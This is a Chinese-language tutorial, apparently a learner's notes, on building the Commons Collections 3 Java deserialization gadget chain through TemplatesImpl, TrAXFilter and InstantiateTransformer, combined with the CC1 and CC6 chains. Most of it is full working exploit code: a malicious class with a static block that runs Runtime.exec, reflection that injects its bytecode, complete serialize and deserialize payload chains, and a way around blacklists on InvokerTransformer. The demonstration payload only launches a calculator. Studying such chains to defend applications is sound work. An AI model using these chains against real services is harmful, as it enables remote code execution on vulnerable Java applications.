CC3_InvokerTransformer&&CC3_InstantiateTransformer

回顾类加载:
classLoader.loadClass
findClass—>子类.findClass(重写的ClassLoader的findclass)—> defineClass(从字节码加载类)
defineClass只加载类,并没有执行类,进行类的初始化,还需要实例化newInstance触发类的初始化
尾部:加载类执行任意代码
ClassLoader的defineclass方法作用域是protected ,找重写的public方法
在TemplatesImpl中 内部类TransletClassLoader继承了Classloader,有重写的默认defalut的defineClass
default说明可以在自己类中调用

继续找用法,在TemplatesImpl自己类中找到 private 的defineTransletClasses调了自己的defineclass从字节码中加载类赋值给数组_class ,接着找谁调了defineTransletClasses

继续谁调defineTransletClasses,找到三个用法
第三个getTransletInstance比较合适,因为它还实例化了,说明走完这个方法就能直接执行代码
其他两个用法一个返回数组,一个返回下标
但getTransletInstance是private的,继续找

找到了TemplatesImpl的public newTransformer 调了getTransletInstance

它还实现Serializable,可序列化,它的所有私有属性就可以反射修改
利用(传关键参数)
按上面的分析,执行就是实例化 TemplatesImpl对象后调newTransformer,走到getTransletInstance将加载的_class[] newInstance就可以了
执行:
TemplatesImpl.newTransformer.getTransletInstance———>>>
TemplatesImpl.getTransletInstance(_class[].newInstance 这里触发类加载初始化) <<<—————-
TemplatesImpl.defineTransletClasses(在此方法中调用它的一个内部类重写的defineclass从字节码加载类赋值到数组_class[]中)
现在就要具体构造:传一些关键参数
TemplatesImpl无参构造里面没有任何的赋值,找我们利用链上的需要赋值的属性来完成一些连接

1 ._name , _class
TemplatesImpl.getTransletInstance中要先调defineTransletClasses,再执行_class[ _transletIndex].newInstance() 
2 ._bytecodes:
跟进到TemplatesImpl.getTransletInstance调的defineTransletClasses
_bytecodes是二维数组

但是最后defineClass加载类时调的参数_bytecodes,是一维数组的形式,
所以把想执行的代码放到一维数组中,套在二维数组中


写一个要加载的类:
1 2 3 4 5 6 7 8 9 10 11
| import java.io.IOException; public class Test { static{ try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } }
|
赋值_bytecodes:
1 2 3 4 5
| Field bytecodes = c1.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("D://tmp/classes/Test_.class")); byte[][]codes={code}; bytecodes.set(templates,codes);
|
3 ._tfactory
defineTransletClasses还有一个参数_tfactory,

定义时为空 transient 限制了_tfactory不能被序列化
被标记为transient的属性在对象被序列化的时候不会被保存

现在我们需要它不为空,但是现在赋值再反序列化, _tfactory肯定是不会被序列化,赋值自然无效
发现在readObject中就给_tfactory赋了值,所以我们不用管它等之后反序列化的时候它就会被赋值

但现在为了看构造是否成功就先反射赋值,调newTransformer看效果

1 2 3 4
| Field tfactory = c1.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); Transformer transformer = templates.newTransformer();
|
报错了:

调试进defineTransletClasses找问题

还有就是_transletIndex现在默认值是-1<0,就算给 _auxClasses赋值,下面会抛出异常的
所以就让它满足if,给_transletIndex赋值

由上面的for循环可知:superClass是加载的外部类的父类
所以就让写的这个要执行的类继承AbstractTranslet


但要注意AbstractTranslet是抽象类还实现了一个接口,写的这个类就要重写的抽象类所有抽象方法和抽象类没有实现接口的方法
要执行的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public class Test_ extends AbstractTranslet { static{ try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } }
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
} }
|
所以现在构造为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public class CC3 { public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException { TemplatesImpl templates = new TemplatesImpl(); Class<TemplatesImpl> c1 = TemplatesImpl.class; Field nameFiled = c1.getDeclaredField("_name"); nameFiled.setAccessible(true); nameFiled.set(templates,"aaa"); Field bytecodes = c1.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class")); byte[][]codes={code}; bytecodes.set(templates,codes); Field tfactory = c1.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); templates.newTransformer(); } }
|
上面这部分的构造就是构造的加载类执行代码,之后调用newTransformer与CC1或CC6一样
相当于把CC1的Runtime.getRuntime.exec(), rce 执行代码变成了CC3的加载类触发类初始化执行代码
CC1+CC3(InvokerTransformer)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.TransformerConfigurationException; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class CC3 { public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException { TemplatesImpl templates = new TemplatesImpl(); Class<TemplatesImpl> c1 = TemplatesImpl.class; Field nameFiled = c1.getDeclaredField("_name"); nameFiled.setAccessible(true); nameFiled.set(templates,"aaa"); Field bytecodes = c1.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class")); byte[][]codes={code}; bytecodes.set(templates,codes); Field tfactory = c1.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null, null),
}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap map = new HashMap(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor2 = c.getDeclaredConstructor(Class.class, Map.class); constructor2.setAccessible(true); InvocationHandler h = (InvocationHandler)constructor2.newInstance(Target.class, lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = constructor2.newInstance(Override.class, mapProxy); serialize(o); unserialize("ser.bin");
} public static void serialize (Object o) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(o); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object obj = ois.readObject(); return obj; } }
|
CC6+CC3(InvokerTransformer)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| TemplatesImpl templates = new TemplatesImpl(); Class<TemplatesImpl> c1 = TemplatesImpl.class; Field nameFiled = c1.getDeclaredField("_name"); nameFiled.setAccessible(true); nameFiled.set(templates,"aaa"); Field bytecodes = c1.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class")); byte[][]codes={code}; bytecodes.set(templates,codes);
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null)
}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap(); Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry( lazyMap,"aaa"); HashMap<Object, Object> map2 = new HashMap<>(); map2.put(tiedMapEntry, "bbb"); lazyMap.remove("aaa");
Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryFiled = lazyMapClass.getDeclaredField("factory"); factoryFiled.setAccessible(true); factoryFiled.set(lazyMap,chainedTransformer);
serialize(map2); unserialize("ser.bin");
|

禁用InvokerTransformer
官方CC3中用了InstantiateTransformer
如果黑名单禁用Runtime,InvokerTransformer
尾部加载类执行任意代码还是一样的,但就不能用InvokerTransformer调任意方法,就不能调上面那条链中TemplatesImpl.newTransformer
那就找谁调用了newTransformer(不同类的同名函数)
找到TrAXFilter的有参构造函数中调用了templates.newTransformer,并且恰好templates是Templates类,要利用的是TemplatesImpl ,(相同类型)可以传参,但它没有继承Serializable,不能序列化,所以要执行构造器里面的话,直接new实例化肯定不行

这时候就想它和Runtime一样,需要借助Class类反射传参
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| TemplatesImpl templates = new TemplatesImpl(); Class<TemplatesImpl> c1 = TemplatesImpl.class; Field nameFiled = c1.getDeclaredField("_name"); nameFiled.setAccessible(true); nameFiled.set(templates,"aaa"); Field bytecodes = c1.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class")); byte[][]codes={code}; bytecodes.set(templates,codes); Field tfactory = c1.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl());
Class<TrAXFilter> trAXFilterClass = TrAXFilter.class; trAXFilterClass.getDeclaredConstructor(Templates.class).newInstance(templates);
|
成功弹出,可以利用
CC3的作者找到一个新的InstantiateTransformer.transform它就有点像InvokerTransformer.transform的平替,实现任意类反射实例化(调任意class的构造器)
- InvokerTransformer.transform调任意方法
- 调执行代码的就是RCE
- 调TemplatesImpl.newTransformer从而执行类初始化 就是执行任意代码
- InstantiateTransformer.transform反射调任意类的构造器实例化对象

就可以换成InstantiateTransformer.transform的写法 方便与CC1或CC6前半部分相连
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| TemplatesImpl templates = new TemplatesImpl(); Class<TemplatesImpl> c1 = TemplatesImpl.class; Field nameFiled = c1.getDeclaredField("_name"); nameFiled.setAccessible(true); nameFiled.set(templates,"aaa"); Field bytecodes = c1.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class")); byte[][]codes={code}; bytecodes.set(templates,codes); Field tfactory = c1.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}); instantiateTransformer.transform(TrAXFilter.class);
|
成功弹出,后面接上CC1或CC6来调transform
CC1:
1 2 3 4 5 6 7 8 9 10 11 12 13
| InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
HashMap map = new HashMap(); Map lazyMap = LazyMap.decorate(map,instantiateTransformer); Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor2 = c.getDeclaredConstructor(Class.class, Map.class); constructor2.setAccessible(true); InvocationHandler h = (InvocationHandler)constructor2.newInstance(Target.class, lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = constructor2.newInstance(Override.class, mapProxy); serialize(o); unserialize("ser.bin");
|
报错:

原因:CC1在前面触发invoke方法时,就已经给get方法参数赋String类型的值了
而我们目标要利用的InstantiateTransformer.transform()方法需要将参数强转成Class
(主要是transform(xx)在利用连中由其他类的方法调用时,xx不可控)



所以还是得用ChainedTransformer + ConstantTransformer 给它包裹起来
CC1+CC3(InstantiateTransformer)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| TemplatesImpl templates = new TemplatesImpl(); Class<TemplatesImpl> c1 = TemplatesImpl.class; Field nameFiled = c1.getDeclaredField("_name"); nameFiled.setAccessible(true); nameFiled.set(templates,"aaa"); Field bytecodes = c1.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class")); byte[][]codes={code}; bytecodes.set(templates,codes);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer
}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap map = new HashMap(); Map lazyMap = LazyMap.decorate(map,chainedTransformer); Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor2 = c.getDeclaredConstructor(Class.class, Map.class); constructor2.setAccessible(true); InvocationHandler h = (InvocationHandler)constructor2.newInstance(Target.class, lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = constructor2.newInstance(Override.class, mapProxy); serialize(o); unserialize("ser.bin");
|
CC6+CC3(InstantiateTransformer)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| TemplatesImpl templates = new TemplatesImpl(); Class<TemplatesImpl> c1 = TemplatesImpl.class; Field nameFiled = c1.getDeclaredField("_name"); nameFiled.setAccessible(true); nameFiled.set(templates,"aaa"); Field bytecodes = c1.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class")); byte[][]codes={code}; bytecodes.set(templates,codes);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer
}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap(); Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry( lazyMap,"aaa"); HashMap<Object, Object> map2 = new HashMap<>(); map2.put(tiedMapEntry, "bbb"); lazyMap.remove("aaa");
Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryFiled = lazyMapClass.getDeclaredField("factory"); factoryFiled.setAccessible(true); factoryFiled.set(lazyMap,chainedTransformer);
serialize(map2); unserialize("ser.bin");
|